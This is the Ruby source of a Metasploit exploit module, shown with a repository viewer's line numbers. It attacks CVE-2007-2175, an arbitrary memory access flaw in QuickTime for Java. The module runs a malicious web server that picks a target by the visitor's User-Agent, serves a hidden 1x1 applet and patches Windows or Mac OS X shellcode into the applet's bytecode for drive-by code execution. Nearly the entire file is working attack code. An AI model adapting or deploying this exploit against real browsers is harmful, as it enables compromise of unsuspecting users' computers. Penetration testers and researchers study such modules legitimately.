root / modules / exploits / multi / browser / qtjava_pointer.rb @ master
History | View | Annotate | Download (5.4 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
| 17 |
Rank = ExcellentRanking |
| 18 |
|
| 19 |
#
|
| 20 |
# This module acts as an HTTP server
|
| 21 |
#
|
| 22 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 23 |
|
| 24 |
def initialize(info = {}) |
| 25 |
super(update_info(info,
|
| 26 |
'Name' => 'Apple QTJava toQTPointer() Arbitrary Memory Access', |
| 27 |
'Description' => %q{ |
| 28 |
This module exploits an arbitrary memory access vulnerability in the |
| 29 |
Quicktime for Java API provided with Quicktime 7. |
| 30 |
|
| 31 |
},
|
| 32 |
'License' => MSF_LICENSE, |
| 33 |
'Author' =>
|
| 34 |
[ |
| 35 |
'hdm', # Original exploit for Mac OS X PPC / Win32 |
| 36 |
'kf', # Added support for Mac OS X X86 |
| 37 |
'ddz' # Discovered bug, provided tips |
| 38 |
], |
| 39 |
'Version' => '$Revision$', |
| 40 |
'References' =>
|
| 41 |
[ |
| 42 |
['CVE', '2007-2175'], |
| 43 |
['OSVDB', '34178'], |
| 44 |
['BID', '23608'], |
| 45 |
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-023.html'], |
| 46 |
], |
| 47 |
'Payload' =>
|
| 48 |
{
|
| 49 |
'Space' => 1024, |
| 50 |
'BadChars' => '' |
| 51 |
}, |
| 52 |
'Targets' =>
|
| 53 |
[ |
| 54 |
#
|
| 55 |
# Problem with generic payloads + regenerate_payload still :(
|
| 56 |
#
|
| 57 |
# [ 'Quicktime 7 Automatic',
|
| 58 |
# {
|
| 59 |
# 'Platform' => ['win', 'osx'],
|
| 60 |
# 'Arch' => [ARCH_X86, ARCH_PPC]
|
| 61 |
# }
|
| 62 |
# ],
|
| 63 |
[ 'Quicktime 7 on Windows x86',
|
| 64 |
{
|
| 65 |
'Platform' => 'win', |
| 66 |
'Arch' => ARCH_X86 |
| 67 |
} |
| 68 |
], |
| 69 |
[ 'Quicktime 7 on Mac OS X PPC',
|
| 70 |
{
|
| 71 |
'Platform' => 'osx', |
| 72 |
'Arch' => ARCH_PPC, |
| 73 |
} |
| 74 |
], |
| 75 |
[ 'Quicktime 7 on Mac OS X x86',
|
| 76 |
{
|
| 77 |
'Platform' => 'osx', |
| 78 |
'Arch' => ARCH_X86, |
| 79 |
} |
| 80 |
], |
| 81 |
], |
| 82 |
# 'DefaultTarget' => 0,
|
| 83 |
'DisclosureDate' => 'Apr 23 2007' |
| 84 |
)) |
| 85 |
end
|
| 86 |
|
| 87 |
|
| 88 |
def exploit |
| 89 |
# load the class data
|
| 90 |
path = File.join(Msf::Config.install_root, "data", "exploits", "QTJavaExploit.class") |
| 91 |
fd = File.open(path, "rb") |
| 92 |
@class_data = fd.read(fd.stat.size)
|
| 93 |
fd.close |
| 94 |
|
| 95 |
super
|
| 96 |
end
|
| 97 |
|
| 98 |
|
| 99 |
def on_request_uri(cli, req) |
| 100 |
|
| 101 |
# Create a cached mapping between IP and detected target
|
| 102 |
@targetcache ||= {}
|
| 103 |
@targetcache[cli.peerhost] ||= {}
|
| 104 |
@targetcache[cli.peerhost][:update] = Time.now.to_i |
| 105 |
|
| 106 |
if (target.name =~ /Automatic/) |
| 107 |
case req.headers['User-Agent'] |
| 108 |
when /Windows/i |
| 109 |
print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
|
| 110 |
@targetcache[cli.peerhost][:target] = self.targets[1] |
| 111 |
when /PPC Mac OS X/i |
| 112 |
print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
|
| 113 |
@targetcache[cli.peerhost][:target] = self.targets[2] |
| 114 |
when /Intel Mac OS X/i |
| 115 |
print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
|
| 116 |
@targetcache[cli.peerhost][:target] = self.targets[3] |
| 117 |
end
|
| 118 |
end
|
| 119 |
|
| 120 |
# Clean the cache
|
| 121 |
rmq = [] |
| 122 |
@targetcache.each_key do |addr| |
| 123 |
if (Time.now.to_i > @targetcache[addr][:update]+60) |
| 124 |
rmq.push addr |
| 125 |
end
|
| 126 |
end
|
| 127 |
|
| 128 |
rmq.each {|addr| @targetcache.delete(addr) }
|
| 129 |
|
| 130 |
|
| 131 |
# Request processing
|
| 132 |
|
| 133 |
if (not req.uri.match(/\.class$/i)) |
| 134 |
|
| 135 |
# Redirect to the base directory so the applet code loads...
|
| 136 |
if (not req.uri.match(/\/$/)) |
| 137 |
send_redirect(cli, get_resource() + '/', '') |
| 138 |
return
|
| 139 |
end
|
| 140 |
|
| 141 |
# Display the applet loading HTML
|
| 142 |
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
|
| 143 |
send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })
|
| 144 |
return
|
| 145 |
end
|
| 146 |
|
| 147 |
# Send the actual applet over
|
| 148 |
print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
|
| 149 |
send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })
|
| 150 |
|
| 151 |
# Handle the payload
|
| 152 |
handler(cli) |
| 153 |
end
|
| 154 |
|
| 155 |
def generate_html() |
| 156 |
return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>" |
| 157 |
end
|
| 158 |
|
| 159 |
def generate_applet(cli, req) |
| 160 |
|
| 161 |
this_target = nil
|
| 162 |
if (target.name =~ /Automatic/) |
| 163 |
if (@targetcache[cli.peerhost][:target]) |
| 164 |
this_target = @targetcache[cli.peerhost][:target] |
| 165 |
else
|
| 166 |
return '' |
| 167 |
end
|
| 168 |
else
|
| 169 |
this_target = target |
| 170 |
end
|
| 171 |
|
| 172 |
# make a copy..
|
| 173 |
data = @class_data.dup
|
| 174 |
|
| 175 |
# 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86
|
| 176 |
idx_targ = data.index("\x03\x10\xcc\x54")
|
| 177 |
|
| 178 |
# 1024 bytes for shellcode
|
| 179 |
idx_code = data.index("\x03\x10\xf0\x54")
|
| 180 |
|
| 181 |
# Handle Mac OS X PPC
|
| 182 |
if (this_target.arch.include?(ARCH_PPC)) |
| 183 |
tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target) |
| 184 |
data = patch_bytecode(idx_code, data, tp.encoded) |
| 185 |
data = patch_bytecode(idx_targ, data, "\x01")
|
| 186 |
end
|
| 187 |
|
| 188 |
# Handle Mac OS X x86 / Windows x86
|
| 189 |
if (this_target.arch.include?(ARCH_X86)) |
| 190 |
|
| 191 |
if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows)) |
| 192 |
tp = regenerate_payload(cli, 'win', ARCH_X86, this_target) |
| 193 |
data = patch_bytecode(idx_code, data, tp.encoded) |
| 194 |
data = patch_bytecode(idx_targ, data, "\x03")
|
| 195 |
end
|
| 196 |
|
| 197 |
if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX)) |
| 198 |
tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target) |
| 199 |
data = patch_bytecode(idx_code, data, tp.encoded) |
| 200 |
data = patch_bytecode(idx_targ, data, "\x02")
|
| 201 |
end
|
| 202 |
end
|
| 203 |
|
| 204 |
return data
|
| 205 |
end
|
| 206 |
|
| 207 |
def patch_bytecode(off, data, buff) |
| 208 |
|
| 209 |
cnt = 0
|
| 210 |
off -= 1
|
| 211 |
while (cnt < buff.length)
|
| 212 |
cnt += 1
|
| 213 |
while (! (data[off-1] == 0x10 && data[off+1] == 0x54)) |
| 214 |
off += 1
|
| 215 |
end
|
| 216 |
data[off]=buff[cnt-1]
|
| 217 |
off += 1
|
| 218 |
end
|
| 219 |
|
| 220 |
return data
|
| 221 |
end
|
| 222 |
|
| 223 |
|
| 224 |
end
|